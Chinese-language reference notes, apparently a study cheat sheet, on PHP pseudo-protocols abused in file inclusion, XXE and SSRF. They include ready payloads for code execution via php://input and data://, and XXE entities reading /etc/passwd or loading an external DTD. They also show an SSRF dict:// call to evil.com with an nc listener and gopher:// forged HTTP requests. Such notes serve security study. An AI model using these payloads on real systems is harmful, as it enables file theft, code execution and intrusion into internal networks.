php
file://:访问本地文件系统。
http://localhost/test.php?file=file://C:\Windows\System32\drivers\etc\hosts
php://访问各个输入输出流
php://input:将POST输入流当做PHP代码执行。
http://localhost/test.php?file=php://input
POST:<?php phpinfo();
php://filter: 一种元封装器, 设计用于数据流打开时的筛选过滤应用。
php://filter/read=convert.base64-encode/resource=index.php
zip://
zip://绝对路径\需要解压缩的文件%23子文件名
phar://
类似zip,与zip协议不同的是zip协议为绝对路径,而phar协议为相对路径。
data://
data://text/plain,<?php phpinfo();?>
后面的值会被当做php代码执行。
也可如此
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
XXE
主要是在引用外部实体的时候用到伪协议
expext://
执行命令
http
可以直接访问网络中主机的资源
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % d SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd">
%d;
]>
<note>
<name>&b;</name>
</note>
file
xxe同样也可以使用file协议访问主机上的文件
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>
php://
XML文档中也可以利用php伪协议读取任意文件
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/issue">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd"
%dtd;
%file;
]>
SSRF
file://
类似上面两种
dict://
能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至程主机。
gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
gopher
协议的格式:
gopher://IP:port/_TCP/IP数据流
margine:~ margin$ curl gopher://192.168.0.119:2333/_abcd
需要在使用gopher协议时在url后加入一个字符(该字符可随意写)
在gopher协议中发送HTTP的数据,需要以下三步:
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
在转换为URL编码时候有这么几个坑
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
Gopher发送请求HTTP GET请求:
GET /ssrf/base/get.php?name=Margin HTTP/1.1
Host: 192.168.0.109
curl gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A
https://zhuanlan.zhihu.com/p/112055947